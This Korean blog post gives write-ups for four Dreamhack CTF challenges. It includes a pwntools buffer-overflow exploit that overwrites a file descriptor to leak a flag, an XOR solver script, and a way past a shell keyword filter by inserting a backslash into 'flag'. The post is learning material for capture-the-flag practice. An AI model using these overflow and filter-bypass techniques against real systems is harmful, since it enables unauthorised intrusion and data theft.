Dreamhack CTF Season 3 Round #2

2023. 4. 22. 16:55ctf

반응형

awesome-basics (pwn)

코드를 보면 read함수에서 bof가 터진다.

bof가 터지니까 rop을 먼저 생각했었는데 가젯이 없었다.

그래서 코드를 다시 보니 ./tmp/flag를 열고 v5에 파일 디스크립터를 받아온뒤

그 값을 flag와 buf에 write해주는것이였다.

 

이것을 이용할 방법을 찾다가

buf는 rbp-0x60 위치에 있고

v5는 rbp-0x10에 있는 것을 확인하였고

buf에서 bof가 터지니까 bof로 v5를 1(stdin)으로 조작해주면

write(1, flag, 0x45);가 되어 플래그가 화면상으로 출력되게 된다.

 

exploit

from pwn import *

r = remote("host3.dreamhack.games", 13508)
#r = process("./chall")

payload = b"A" * 0x50
payload += p64(1)

input()

r.sendafter(b":", payload)

r.interactive()

 


 

simple-operation (rev)

빨간색으로 표시한 부분을 보면 사용자 입력값과 랜덤값을 xor 연산을 해서

a0b4c1d7 이 나오면 플래그를 얻을 수 있는 간단한 문제이다.

 

from pwn import *

r = remote("host2.dreamhack.games", 11342)

r.recvuntil(b"number: ")
rand = r.recvn(10)

print("rand : ", rand)

x = int(rand, 16) ^ 0x7d1c4b0a
x = str(x).encode()

r.sendlineafter(b"Input? ", x)

r.interactive()

 


 

baby-linux (misc)

리눅스 환경에서 쉘 명령어를 실행하는 코드가 있다.

그냥 하지만 flag라는 단어를 필터링하고 있어서 cat flag 이런식으로는 불가능하다.

일단 flag파일의 디렉토리 주소를 찾아야 하는데 

 

ls를 쳐보니 hint.txt가 있었다.

hint를 보니 flag 파일은 ./dream/hack/hello 파일 안에 있다고 한다.

리눅스에서는 단어 중간에 역슬래시가 들어가도 무시하고 지나간다.

즉, cat flag.txt와 cat fl\ag.txt를 하면 같은 출력결과가 나온다.

 


 

ex-reg-ex (web)

m이 0이 아닌수가 나오게 하면 플래그를 획득할 수 있는 간단한 문제이다.

저런 정규식은 chatgpt한테 어떤 패턴으로 넣어야 하는지 물어봐서 간단하게 해결했다.

 

 

작년 dreamhack ctf는 모든 티어가 다 똑같은 문제를 같이 풀어서

난이도가 좀 높아 문제를 풀지도 못했는데

이번 Dreamhack CTF Season 3에서는 티어에 따라 나누어 진행하기 때문에

좀 쉽게 풀 수 있었던것 같다.

반응형

'ctf' 카테고리의 다른 글

[ codegate - pwn] librarian  (2) 2023.06.18
[ CCE 사이버공격방어대회 ] n0t rand0m  (3) 2023.06.12
[ layer7 ctf ] Christmasgift  (0) 2022.12.20
[ 화이트햇 콘테스트 ] left_right  (0) 2022.10.17